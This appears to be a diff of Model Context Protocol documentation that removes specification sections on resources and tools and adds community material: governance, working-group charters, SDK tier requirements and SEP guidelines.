-However, implementations are free to expose resources through any interface pattern that -suits their needs—the protocol itself does not mandate any specific user -interaction model. +### Decision Process -## Capabilities +The Core Maintainer group meets every two weeks to discuss and vote on proposals, as well as discuss any topics needed. The shared Discord server can be used to discuss and vote on smaller proposals if needed. -Servers that support resources **MUST** declare the `resources` capability: +The Lead Maintainer, Core Maintainer, and Maintainer group should attempt to meet in person every three to six months. -```json theme={null} -{ - "capabilities": { - "resources": { - "subscribe": true, - "listChanged": true - } - } -} -``` +## Processes -The capability supports two optional features: +Core Maintainers and Lead Maintainers are responsible for all aspects of Model Context Protocol, including documentation, issues, suggestions for content, and all other parts under the [MCP project](https://github.com/modelcontextprotocol). Maintainers are responsible for documentation, issues, and suggestions of content for their area of the MCP project, but are encouraged to partake in general maintenance of the MCP projects. -* `subscribe`: whether the client can subscribe to be notified of changes to individual - resources. -* `listChanged`: whether the server will emit notifications when the list of available - resources changes. +Maintainers, Core Maintainers, and Lead Maintainers should use the same contribution process as external contributors, rather than making direct changes to repos. This provides insight into intent and opportunity for discussion. -Both `subscribe` and `listChanged` are optional—servers can support neither, -either, or both: +### Working Groups and Interest Groups -```json theme={null} -{ - "capabilities": { - "resources": {} // Neither feature supported - } -} -``` +MCP collaboration and contributions are organized around two structures: [Working Groups and Interest Groups](/community/working-interest-groups). -```json theme={null} -{ - "capabilities": { - "resources": { - "subscribe": true // Only subscriptions supported - } - } -} -``` +* **Interest Groups** identify and articulate problems that MCP should address through open discussions +* **Working Groups** develop concrete solutions by producing deliverables like SEPs or implementations -```json theme={null} -{ - "capabilities": { - "resources": { - "listChanged": true // Only list change notifications supported - } - } -} -``` +For details on how to create, participate in, and facilitate these groups, see the [Working and Interest Groups](/community/working-interest-groups) documentation. -## Protocol Messages +### Specification Enhancement Proposals (SEPs) -### Listing Resources +Proposed changes to the specification must be submitted as [Specification Enhancement Proposals (SEPs)](/community/sep-guidelines). SEPs are the primary mechanism for proposing major new features, collecting community input, and documenting design decisions. -To discover available resources, clients send a `resources/list` request. This operation -supports [pagination](/specification/2025-11-25/server/utilities/pagination). +For the complete SEP process, format requirements, and status workflow, see the [SEP Guidelines](/community/sep-guidelines). -**Request:** +### Maintenance Responsibilities -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "resources/list", - "params": { - "cursor": "optional-cursor-value" - } -} -``` +Components without dedicated maintainers (such as documentation) fall under Core Maintainer responsibility. These follow standard contribution guidelines through pull requests, with maintainers handling reviews and escalating to Core Maintainer review for any significant changes. -**Response:** +Core Maintainers and Maintainers are encouraged to improve any part of the MCP project, regardless of formal maintenance assignments. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "resources": [ - { - "uri": "file:///project/src/main.rs", - "name": "main.rs", - "title": "Rust Software Application Main File", - "description": "Primary application entry point", - "mimeType": "text/x-rust", - "icons": [ - { - "src": "https://example.com/rust-file-icon.png", - "mimeType": "image/png", - "sizes": ["48x48"] - } - ] - } - ], - "nextCursor": "next-page-cursor" - } -} -``` +## Communication -### Reading Resources +### Core Maintainer Meetings -To retrieve resource contents, clients send a `resources/read` request: +The Core Maintainer group meets on a bi-weekly basis to discuss proposals and the project. Notes on proposals should be made public. The Core Maintainer group will strive to meet in person every 3-6 months. -**Request:** +### Public Chat -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "method": "resources/read", - "params": { - "uri": "file:///project/src/main.rs" - } -} -``` +The MCP project maintains a [public Discord server](https://discord.gg/6CSzBmMkjX) with open chats for interest groups. The MCP project may have private channels for certain communications. -**Response:** +## Nominating, Confirming, and Removing Maintainers -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "result": { - "contents": [ - { - "uri": "file:///project/src/main.rs", - "mimeType": "text/x-rust", - "text": "fn main() {\n println!(\"Hello world!\");\n}" - } - ] - } -} -``` +Membership in maintainer groups is given to **individuals** on a merit basis after demonstrated expertise and alignment with MCP's direction. Membership is associated with the person, not their employer, and has no term limit. + +The nomination process, sponsorship requirements, review timeline, and inactivity criteria for each role are defined in the [Contributor Ladder's Advancement Process](/community/contributor-ladder#advancement-process). + +## Current Lead Maintainers + +* David Soria Parra +* Den Delimarsky + +## Current Core Maintainers + +* Peter Alexander +* Caitie McCaffrey +* Kurtis Van Gent +* Clare Liguori +* Paul Carleton +* Nick Cooper +* Nick Aldridge +* Che Liu -### Resource Templates +## Emeritus -Resource templates allow servers to expose parameterized resources using -[URI templates](https://datatracker.ietf.org/doc/html/rfc6570). Arguments may be -auto-completed through [the completion API](/specification/2025-11-25/server/utilities/completion). +* Justin Spahr-Summers (Co-Inventor, Lead Maintainer Emeritus) -**Request:** +## Current Maintainers and Working Groups -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 3, - "method": "resources/templates/list" -} -``` +Refer to [the maintainer list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md). -**Response:** -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 3, - "result": { - "resourceTemplates": [ - { - "uriTemplate": "file:///{path}", - "name": "Project Files", - "title": "📁 Project Files", - "description": "Access files in the project directory", - "mimeType": "application/octet-stream", - "icons": [ - { - "src": "https://example.com/folder-icon.png", - "mimeType": "image/png", - "sizes": ["48x48"] - } - ] - } - ] - } -} -``` +# Inspector V2 Working Group Charter +Source: https://modelcontextprotocol.io/community/inspector-v2/charter -### List Changed Notification +Charter for the Inspector V2 Working Group, a Working Group of the Model Context Protocol community. -When the list of available resources changes, servers that declared the `listChanged` -capability **SHOULD** send a notification: +## Group Type -```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/resources/list_changed" -} -``` +Working Group -### Subscriptions +## Mission Statement -The protocol supports optional subscriptions to resource changes. Clients can subscribe -to specific resources and receive notifications when they change: +The Inspector V2 Working Group is building Inspector V2, a new web-based MCP inspector redesigned from the ground up for maintainability and reliability. The group delivers a shared Inspector Core architecture that maximizes code reuse across Web, CLI, and TUI implementations, together with a comprehensive testing apparatus. This effort requires cross-maintainer collaboration because it spans UI, protocol tooling, and test infrastructure that no single maintainer owns today. -**Subscribe Request:** +## Scope -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 4, - "method": "resources/subscribe", - "params": { - "uri": "file:///project/src/main.rs" - } -} -``` +### In Scope -**Update Notification:** +* The `modelcontextprotocol/inspector` repository, including: +* **Inspector Core** — a new shared-code architecture that provides common MCP and protocol interfaces for all Inspector front-ends. +* **Web Inspector UI** — browser-based inspector built on Mantine and TypeScript. +* **CLI Inspector** — command-line interface sharing Inspector Core. +* **TUI Inspector** — terminal UI sharing Inspector Core. +* **Testing apparatus** — shared test harnesses, fixtures, and integration tests across all Inspector surfaces. +* Deprecation and migration of the existing Inspector on `main` to a `v1.x` maintenance branch. +* Adoption of MCP TypeScript SDK V2 inside Inspector Core once available. -```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/resources/updated", - "params": { - "uri": "file:///project/src/main.rs" - } -} -``` +### Out of Scope -## Message Flow +* The core MCP specification. +* MCP SDK maintenance (TypeScript, Python, or any other language SDK). +* MCP server implementations. -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +### Related Groups - Note over Client,Server: Resource Discovery - Client->>Server: resources/list - Server-->>Client: List of resources +* **SDK WG** — Inspector Core consumes the TypeScript SDK; coordination required for SDK V2 adoption. +* **MCP Apps WG** — shared surface area around client/app ergonomics and inspection workflows. +* **Auth WG** — authentication flows exercised by Inspector when connecting to protected servers. +* **Registry WG** — discovery and metadata surfaces that Inspector presents to users. - Note over Client,Server: Resource Template Discovery - Client->>Server: resources/templates/list - Server-->>Client: List of resource templates +## Leadership - Note over Client,Server: Resource Access - Client->>Server: resources/read - Server-->>Client: Resource contents +| Role | Name | Organization | GitHub | Term | +| ------- | -------------- | ------------ | ------------------------------------------------ | ------- | +| WG Lead | Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | Ongoing | +| WG Lead | Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | Ongoing | +| WG Lead | Bob Dickinson | TeamSpark.ai | [@BobDickinson](https://github.com/BobDickinson) | Ongoing | - Note over Client,Server: Subscriptions - Client->>Server: resources/subscribe - Server-->>Client: Subscription confirmed +## Authority & Decision Rights - Note over Client,Server: Updates - Server--)Client: notifications/resources/updated - Client->>Server: resources/read - Server-->>Client: Updated contents -``` +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | -## Data Types +## Membership -### Resource +| Name | Organization | GitHub | Discord | Level | +| -------------- | ------------ | ------------------------------------------------ | ----------- | ---------- | +| Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | seaofarrows | Maintainer | +| Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | olaservo | Maintainer | +| Bob Dickinson | TeamSpark.ai | [@BobDickinson](https://github.com/BobDickinson) | rddthree | Maintainer | +| Tobin South | Anthropic | [@tobinsouth](https://github.com/tobinsouth) | tobinsouth | Member | -A resource definition includes: +## Operations -* `uri`: Unique identifier for the resource -* `name`: The name of the resource. -* `title`: Optional human-readable name of the resource for display purposes. -* `description`: Optional description -* `icons`: Optional array of icons for display in user interfaces -* `mimeType`: Optional MIME type -* `size`: Optional size in bytes +| Meeting | Frequency | Duration | Purpose | +| --------------- | ------------------------------------------ | ---------- | ------------------------------------- | +| Working Session | Weekly, Wednesdays 11:00 America/New\_York | 60 minutes | Technical discussion, proposal review | -### Resource Contents +Meetings are held at [meet.modelcontextprotocol.io/tag/inspector-v2-wg](https://meet.modelcontextprotocol.io/tag/inspector-v2-wg). Agendas are posted at least 7 days in advance per current MCP meeting policy. Meeting notes are published to the [Meeting Notes — Inspector V2 WG](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-inspector-v2-wg) discussion category in the `modelcontextprotocol/modelcontextprotocol` repository. -Resources can contain either text or binary data: +**Communication channels** -#### Text Content +* Primary channel: `#inspector-v2-wg` on the MCP Discord. +* Async discussion: GitHub Discussions in `modelcontextprotocol/inspector`. +* Quarterly updates: posted to the WG's GitHub Discussions category. -```json theme={null} -{ - "uri": "file:///example.txt", - "mimeType": "text/plain", - "text": "Resource content" -} -``` +## Deliverables & Success Metrics -#### Binary Content +### Active Work Items -```json theme={null} -{ - "uri": "file:///example.png", - "mimeType": "image/png", - "blob": "base64-encoded-data" -} -``` +| Work Item | Status | Owner(s) | +| --------------------------------------------------------------------------------------- | ---------------------------- | -------------------------- | +| Web Inspector UI (Mantine / TypeScript) — dumb components with real MCP/Core interfaces | In Progress | Cliff Hall, Ola Hungerford | +| Inspector Core shared-code architecture | In Progress | Bob Dickinson | +| CLI Inspector and TUI Inspector | In Progress | Bob Dickinson | +| Migration of existing Inspector on `main` to `v1.x` maintenance branch | Planning | WG Leads | +| Testing apparatus across Core, Web, CLI, and TUI | Planning | WG Leads | +| Inspector Core adoption of MCP TypeScript SDK V2 | Blocked (gated by TS SDK WG) | Bob Dickinson | -### Annotations +### Success Criteria -Resources, resource templates and content blocks support optional annotations that provide hints to clients about how to use or display the resource: +1. **End of Q1** — Web UI complete with "dumb" components wired to real MCP/Inspector Core interfaces. +2. **End of Q1** — Inspector Core architecture finalized. +3. **End of Q2** — Inspector Core merged to `v2/main` and working end-to-end with the Web UI. +4. **End of Q2** — CLI and TUI Inspectors merged to `v2/main` and working end-to-end with Inspector Core. +5. **End of Q2** — Existing Inspector on `main` moved to the `v1.x` branch and officially deprecated. +6. **End of Q2** — New Inspector family (Web, CLI, TUI) published and generally available. +7. **End of Q3** — Inspector Core running on MCP TypeScript SDK V2 (gated by the TypeScript SDK WG's delivery schedule). -* **`audience`**: An array indicating the intended audience(s) for this resource. Valid values are `"user"` and `"assistant"`. For example, `["user", "assistant"]` indicates content useful for both. -* **`priority`**: A number from 0.0 to 1.0 indicating the importance of this resource. A value of 1 means "most important" (effectively required), while 0 means "least important" (entirely optional). -* **`lastModified`**: An ISO 8601 formatted timestamp indicating when the resource was last modified (e.g., `"2025-01-12T15:00:58Z"`). +## Changelog -Example resource with annotations: +| Date | Change | Author | +| ---------- | ------------------------------------------------ | -------------------- | +| 2026-04-11 | Initial charter adopted for SEP-2149 compliance. | Cliff Hall (Co-Lead) | -```json theme={null} -{ - "uri": "file:///project/README.md", - "name": "README.md", - "title": "Project Documentation", - "mimeType": "text/markdown", - "annotations": { - "audience": ["user"], - "priority": 0.8, - "lastModified": "2025-01-12T15:00:58Z" - } -} -``` -Clients can use these annotations to: +# Interceptors Charter +Source: https://modelcontextprotocol.io/community/interceptors/charter -* Filter resources based on their intended audience -* Prioritize which resources to include in context -* Display modification times or sort by recency +Charter for the MCP Interceptors Working Group. -## Common URI Schemes +## Group Type -The protocol defines several standard URI schemes. This list not -exhaustive—implementations are always free to use additional, custom URI schemes. +**Working Group** -### https\:// +## Mission Statement -Used to represent a resource available on the web. +The Interceptors Working Group exists to standardize how context operations are intercepted, validated, and transformed at key points in the agentic lifecycle. This covers MCP-defined operations such as tool invocations, resource access, prompt handling, sampling, and elicitation, as well as any other operation that shapes agent context — including LLM completions and custom application-specific workflows. The ecosystem is developing a sprawling landscape of sidecars, proxies, and gateways for cross-cutting concerns that are largely non-reusable and non-interoperable, creating an M × N integration problem. The WG will produce specification extensions and reference implementations that define interceptors as a new MCP primitive with two types — validators (inspect and return pass/fail decisions) and mutators (transform context payloads) — discoverable and invocable through MCP's existing JSON-RPC patterns across deployment models including in-process, sidecar, and remote service. -Servers **SHOULD** use this scheme only when the client is able to fetch and load the -resource directly from the web on its own—that is, it doesn’t need to read the resource -via the MCP server. +## Scope -For other use cases, servers **SHOULD** prefer to use another URI scheme, or define a -custom one, even if the server will itself be downloading resource contents over the -internet. +### In Scope -### file:// +* **Specification Work**: SEPs defining the interceptor primitive — validator and mutator types, lifecycle event hooks for MCP operations (tool calls, resource reads, prompt gets, sampling, elicitation) and extensible to non-MCP context operations (LLM completions, custom workflows), trust-boundary-aware execution model, priority-based chain ordering, and audit mode semantics. +* **Reference Implementations**: Multi-language SDK libraries for building interceptors, sample interceptors (PII redaction, schema validation, audit logging), a common interceptor sidecar/proxy runtime, and a CLI client for interceptor invocation and testing. +* **Cross-Cutting Concerns**: Transport-level interception points, gateway-based deployment patterns, and interplay with routing and policy layers (see Related Groups). +* **Documentation**: Specification sections covering interceptor authoring, deployment models (in-process, sidecar, remote service), chain configuration, and migration guidance from ad-hoc middleware approaches. -Used to identify resources that behave like a filesystem. However, the resources do not -need to map to an actual physical filesystem. +### Out of Scope -MCP servers **MAY** identify file:// resources with an -[XDG MIME type](https://specifications.freedesktop.org/shared-mime-info-spec/0.14/ar01s02.html#id-1.3.14), -like `inode/directory`, to represent non-regular files (such as directories) that don’t -otherwise have a standard MIME type. +* Client-specific hook implementation details (e.g., Claude Code's internal hook execution engine) — the WG standardizes the protocol-level interface, not host internals. +* Transport-layer wire format or session model changes (owned by the Transports WG). +* General-purpose middleware or proxy infrastructure beyond what the MCP protocol requires. -### git:// +### Related Groups -Git version control integration. +* **Transports WG** — interceptors operate on MCP message flows whose delivery behavior depends on the transport; coordination needed on transport-level interception points. +* **Gateways IG** — gateways are a key deployment model for interceptors; coordination needed on gateway-based interceptor patterns and shared concerns around routing, policy, and observability. -### Custom URI Schemes +## Leadership -Custom URI schemes **MUST** be in accordance with [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986), -taking the above guidance in to account. +| Role | Name | Organization | GitHub | Term | +| ---- | ------------------------ | ------------ | -------------------------------------------- | ------- | +| Lead | Sambhav Kothari | Bloomberg | [@sambhav](https://github.com/sambhav) | Initial | +| Lead | Peder Holdgaard Pedersen | Saxo Bank | [@PederHP](https://github.com/PederHP) | Initial | +| Lead | Kurt Degiorgio | Bloomberg | [@degiorgio](https://github.com/degiorgio) | Initial | +| Lead | Uk-Jae Jeong | Bloomberg | [@jeongukjae](https://github.com/jeongukjae) | Initial | -## Error Handling +## Authority & Decision Rights -Servers **SHOULD** return standard JSON-RPC errors for common failure cases: +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | -* Resource not found: `-32002` -* Internal errors: `-32603` +## Operations -Example error: +| Meeting | Frequency | Duration | Purpose | +| --------------- | --------- | ---------- | ------------------------------------- | +| Working Session | Biweekly | 60 minutes | Technical discussion, proposal review | -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 5, - "error": { - "code": -32002, - "message": "Resource not found", - "data": { - "uri": "file:///nonexistent.txt" - } - } -} -``` +## Resources -## Security Considerations +* Experimental extension repository: [modelcontextprotocol/experimental-ext-interceptors](https://github.com/modelcontextprotocol/experimental-ext-interceptors) +* Motivation: [SEP-1763](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1763) -1. Servers **MUST** validate all resource URIs -2. Access controls **SHOULD** be implemented for sensitive resources -3. Binary data **MUST** be properly encoded -4. Resource permissions **SHOULD** be checked before operations +## Deliverables & Success Metrics +### Active Work Items -# Tools -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/tools +| Item | Status | Target Date | Champion | +| --------------------------------------------------------------------- | ----------- | ----------- | -------- | +| SEP-1763: Interceptors | Draft | | TBD | +| Sample interceptors (PII redaction, schema validation, audit logging) | In Progress | | TBD | +| Common interceptor sidecar runtime | Ideating | | TBD | +| CLI client for interceptor invocation and testing | Ideating | | TBD | +| Reference implementation in Go SDK | In Progress | | TBD | +| Reference implementation in C# SDK | In Progress | | TBD | +### Success Criteria +* An accepted SEP defining the interceptor primitive (validators, mutators), lifecycle event hooks, and trust-boundary-aware chain execution. +* Reference implementations in at least two Tier-1 SDKs (Go, C#). +* A common interceptor sidecar runtime enabling platform teams to deploy interceptors without modifying individual MCP servers. +* CLI tooling for interceptor invocation and testing. +* Demonstrated interoperability across deployment models (in-process, sidecar, remote service). -
+## Changelog -**Protocol Revision**: 2025-11-25 +| Date | Change | +| ---------- | --------------- | +| 2026-04-21 | Initial charter | -The Model Context Protocol (MCP) allows servers to expose tools that can be invoked by -language models. Tools enable models to interact with external systems, such as querying -databases, calling APIs, or performing computations. Each tool is uniquely identified by -a name and includes metadata describing its schema. -## User Interaction Model +# SDK Tiering System +Source: https://modelcontextprotocol.io/community/sdk-tiers -Tools in MCP are designed to be **model-controlled**, meaning that the language model can -discover and invoke tools automatically based on its contextual understanding and the -user's prompts. +Feature completeness, protocol support, and maintenance commitment levels for Model Context Protocol SDKs -However, implementations are free to expose tools through any interface pattern that -suits their needs—the protocol itself does not mandate any specific user -interaction model. +The MCP SDK Tiering System establishes clear expectations for feature completeness, protocol support, and maintenance commitments across official and community-driven SDKs. This helps developers choose the right SDK for their needs and provides SDK maintainers with a clear path to improving adoption expectations. - - For trust & safety and security, there **SHOULD** always - be a human in the loop with the ability to deny tool invocations. + + **Key dates:** - Applications **SHOULD**: + * **January 23, 2026**: Conformance tests available + * **February 23, 2026**: Official SDK tiering published - * Provide UI that makes clear which tools are being exposed to the AI model - * Insert clear visual indicators when tools are invoked - * Present confirmation prompts to the user for operations, to ensure a human is in the - loop - + Between January 23 and February 23, SDK maintainers can work with the + Conformance Testing working group to adopt the tests and set up GitHub issue + tracking with the standardized labels defined below. + -## Capabilities +## Overview -Servers that support tools **MUST** declare the `tools` capability: +SDKs are classified into three tiers based on feature completeness, maintenance commitments, and documentation quality: -```json theme={null} -{ - "capabilities": { - "tools": { - "listChanged": true - } - } -} -``` +* **Tier 1**: Fully supported SDKs with complete protocol implementation, including all + non-experimental features and optional capabilities like sampling and elicitation +* **Tier 2**: Actively-maintained SDKs working toward full protocol specification support +* **Tier 3**: Experimental, partially implemented, or specialized SDKs -`listChanged` indicates whether the server will emit notifications when the list of -available tools changes. +Experimental features (such as Tasks) and protocol extensions (such as MCP Apps) are not required +for any tier. -## Protocol Messages +## Tier Requirements -### Listing Tools +| Requirement | Tier 1: Fully Supported | Tier 2: Commitment to Full Support | Tier 3: Experimental | +| --------------------------- | ---------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ---------------------- | +| **Conformance Tests** | 100% pass rate | 80% pass rate | No minimum | +| **New Protocol Features** | Before new spec version release, timeline agreed per release based on feature complexity | Within 6 months | No timeline commitment | +| **Issue Triage** | Within 2 business days | Within a month | No requirement | +| **Critical Bug Resolution** | Within 7 days | Within two weeks | No requirement | +| **Stable Release** | Required with clear versioning | At least one stable release | Not required | +| **Documentation** | Comprehensive with examples for all features | Basic documentation covering core features | No minimum | +| **Dependency Policy** | Published update policy | Published update policy | Not required | +| **Roadmap** | Published roadmap | Published plan toward Tier 1 or explanation for remaining Tier 2 | Not required | -To discover available tools, clients send a `tools/list` request. This operation supports -[pagination](/specification/2025-11-25/server/utilities/pagination). +**Issue Triage** means labeling and determining whether an issue is valid, not resolving the issue. -**Request:** +**Critical Bug** refers to P0 issues (see [Priority labels](#priority-only-if-actionable) for +detailed criteria). -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "tools/list", - "params": { - "cursor": "optional-cursor-value" - } -} -``` +**Stable Release** is a published version explicitly marked as production-ready (e.g., version `1.0.0` +or higher without pre-release identifiers like `-alpha`, `-beta`, or `-rc`). + +**Clear Versioning** means following idiomatic versioning patterns with documented +breaking change policies, so users can understand compatibility expectations when upgrading. + +**Roadmap** outlines concrete steps and work items that track implementation of required MCP +specification components (non-experimental features and optional capabilities as described in +[Conformance Testing](#conformance-testing)), giving users visibility into upcoming feature support. + +## Conformance Testing -**Response:** +All SDKs are evaluated using [automated conformance tests](https://github.com/modelcontextprotocol/conformance) +that validate protocol support against the published specifications. SDKs receive a conformance score +based on test results: -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "tools": [ - { - "name": "get_weather", - "title": "Weather Information Provider", - "description": "Get current weather information for a location", - "inputSchema": { - "type": "object", - "properties": { - "location": { - "type": "string", - "description": "City name or zip code" - } - }, - "required": ["location"] - }, - "icons": [ - { - "src": "https://example.com/weather-icon.png", - "mimeType": "image/png", - "sizes": ["48x48"] - } - ] - } - ], - "nextCursor": "next-page-cursor" - } -} -``` +* **Tier 1**: 100% conformance required +* **Tier 2**: 80% conformance required +* **Tier 3**: No minimum requirement -### Calling Tools +Conformance scores are calculated against **applicable required tests** only: -To invoke a tool, clients send a `tools/call` request: +* Tests for the specification version the SDK targets +* Excluding tests marked as pending or skipped +* Excluding tests for experimental features +* Excluding legacy backward-compatibility tests (unless the SDK claims legacy support) -**Request:** +Conformance testing validates that SDKs correctly implement the protocol by running standardized test +scenarios and checking protocol message exchanges. See [Tier Relegation](#tier-relegation) for how +temporary test failures are handled. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "method": "tools/call", - "params": { - "name": "get_weather", - "arguments": { - "location": "New York" - } - } -} -``` +## Tier Advancement -**Response:** +SDK maintainers can request tier advancement by: -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "result": { - "content": [ - { - "type": "text", - "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy" - } - ], - "isError": false - } -} -``` +1. Self-assessing against tier requirements +2. Opening an issue in the [modelcontextprotocol/modelcontextprotocol](https://github.com/modelcontextprotocol/modelcontextprotocol) repository with supporting evidence +3. Passing automated conformance testing +4. Receiving approval from SDK Working Group maintainers -### List Changed Notification +The SDK Working Group reviews advancement requests and makes final tier assignments. -When the list of available tools changes, servers that declared the `listChanged` -capability **SHOULD** send a notification: +## Tier Relegation -```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/tools/list_changed" -} -``` +An SDK may be moved to a lower tier if existing conformance tests on the latest stable release fail +continuously for 4 weeks: -## Message Flow +* **Tier 1 → Tier 2**: Any conformance test fails +* **Tier 2 → Tier 3**: More than 20% of conformance tests fail -```mermaid theme={null} -sequenceDiagram - participant LLM - participant Client - participant Server +## Issue Triage Labels - Note over Client,Server: Discovery - Client->>Server: tools/list - Server-->>Client: List of tools +SDK repositories must use consistent labels to enable automated reporting on issue handling metrics. +Tier calculations use these metrics to measure triage response times (time from issue creation to +first label) and critical bug resolution times (time from P0 label to issue close). - Note over Client,LLM: Tool Selection - LLM->>Client: Select tool to use +### Type (pick one) - Note over Client,Server: Invocation - Client->>Server: tools/call - Server-->>Client: Tool result - Client->>LLM: Process result +| Label | Description | +| ------------- | ----------------------------- | +| `bug` | Something isn't working | +| `enhancement` | Request for new feature | +| `question` | Further information requested | - Note over Client,Server: Updates - Server--)Client: tools/list_changed - Client->>Server: tools/list - Server-->>Client: Updated tools -``` +Repositories using [GitHub's native issue types](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/managing-issue-types-in-an-organization) +satisfy this requirement without needing type labels. -## Data Types +### Status (pick one) -### Tool +Use these exact label names across all repositories to enable consistent reporting and analysis. -A tool definition includes: +| Label | Description | +| -------------------- | ------------------------------------------------------- | +| `needs confirmation` | Unclear if still relevant | +| `needs repro` | Insufficient information to reproduce | +| `ready for work` | Has enough information to start | +| `good first issue` | Good for newcomers | +| `help wanted` | Contributions welcome from those familiar with codebase | -* `name`: Unique identifier for the tool -* `title`: Optional human-readable name of the tool for display purposes. -* `description`: Human-readable description of functionality -* `icons`: Optional array of icons for display in user interfaces -* `inputSchema`: JSON Schema defining expected parameters - * Follows the [JSON Schema usage guidelines](/specification/2025-11-25/basic#json-schema-usage) - * Defaults to 2020-12 if no `$schema` field is present - * **MUST** be a valid JSON Schema object (not `null`) - * For tools with no parameters, use one of these valid approaches: - * `{ "type": "object", "additionalProperties": false }` - **Recommended**: explicitly accepts only empty objects - * `{ "type": "object" }` - accepts any object (including with properties) -* `outputSchema`: Optional JSON Schema defining expected output structure - * Follows the [JSON Schema usage guidelines](/specification/2025-11-25/basic#json-schema-usage) - * Defaults to 2020-12 if no `$schema` field is present -* `annotations`: Optional properties describing tool behavior +### Priority (only if actionable) - - For trust & safety and security, clients **MUST** consider tool annotations to - be untrusted unless they come from trusted servers. - +| Label | Description | +| ----- | --------------------------------------------------------------- | +| `P0` | Critical: core functionality failures or high-severity security | +| `P1` | Significant bug affecting many users | +| `P2` | Moderate issues, valuable feature requests | +| `P3` | Nice to haves, rare edge cases | -#### Tool Names +**P0 (Critical)** issues are: -* Tool names **SHOULD** be between 1 and 128 characters in length (inclusive). -* Tool names **SHOULD** be considered case-sensitive. -* The following **SHOULD** be the only allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits - (0-9), underscore (\_), hyphen (-), and dot (.) -* Tool names **SHOULD NOT** contain spaces, commas, or other special characters. -* Tool names **SHOULD** be unique within a server. -* Example valid tool names: - * getUser - * DATA\_EXPORT\_v2 - * admin.tools.list +* **Security vulnerabilities** with CVSS score ≥ 7.0 (High or Critical severity) +* **Core functionality failures** that prevent basic MCP operations: connection establishment, + message exchange, or use of core primitives (tools, resources, prompts) -### Tool Result -Tool results may contain [**structured**](#structured-content) or **unstructured** content. +# SEP Guidelines +Source: https://modelcontextprotocol.io/community/sep-guidelines -**Unstructured** content is returned in the `content` field of a result, and can contain multiple content items of different types: +Specification Enhancement Proposal (SEP) guidelines for proposing changes to the Model Context Protocol - - All content types (text, image, audio, resource links, and embedded resources) - support optional - [annotations](/specification/2025-11-25/server/resources#annotations) that - provide metadata about audience, priority, and modification times. This is the - same annotation format used by resources and prompts. - +## What is a SEP? -#### Text Content +SEP stands for Specification Enhancement Proposal. A SEP is a design document providing information to the MCP community, or describing a new feature for the Model Context Protocol or its processes. The SEP should provide a concise technical specification of the feature and a rationale for the feature. -```json theme={null} -{ - "type": "text", - "text": "Tool result text" -} -``` +SEPs are the primary mechanism for proposing major new features, collecting community input on an issue, and documenting the design decisions that have gone into MCP. The SEP author is responsible for building consensus within the community and documenting dissenting opinions. -#### Image Content +When drafting a SEP, authors should review the [MCP design principles](/community/design-principles), which outline the core values and tradeoffs that guide the protocol's evolution. -```json theme={null} -{ - "type": "image", - "data": "base64-encoded-data", - "mimeType": "image/png", - "annotations": { - "audience": ["user"], - "priority": 0.9 - } -} -``` +SEPs are maintained as markdown files in the [`seps/` directory](https://github.com/modelcontextprotocol/modelcontextprotocol/tree/main/seps) of the specification repository. Their revision history serves as the historical record of the feature proposal. -#### Audio Content +## When to Write a SEP -```json theme={null} -{ - "type": "audio", - "data": "base64-encoded-audio-data", - "mimeType": "audio/wav" -} -``` +The SEP process is reserved for changes that are substantial enough to require broad community discussion, a formal design document, and a historical record. A regular GitHub pull request is often more appropriate for smaller changes. -#### Resource Links +**Write a SEP if your change involves:** -A tool **MAY** return links to [Resources](/specification/2025-11-25/server/resources), to provide additional context -or data. In this case, the tool will return a URI that can be subscribed to or fetched by the client: +* **A new feature or protocol change** - Adding, modifying, or removing features in the protocol (new API methods, message format changes, interoperability standards) +* **A breaking change** - Any change that is not backwards-compatible +* **A governance or process change** - Altering decision-making or contribution guidelines +* **A complex or controversial topic** - Changes likely to have multiple valid solutions or generate significant debate -```json theme={null} -{ - "type": "resource_link", - "uri": "file:///project/src/main.rs", - "name": "main.rs", - "description": "Primary application entry point", - "mimeType": 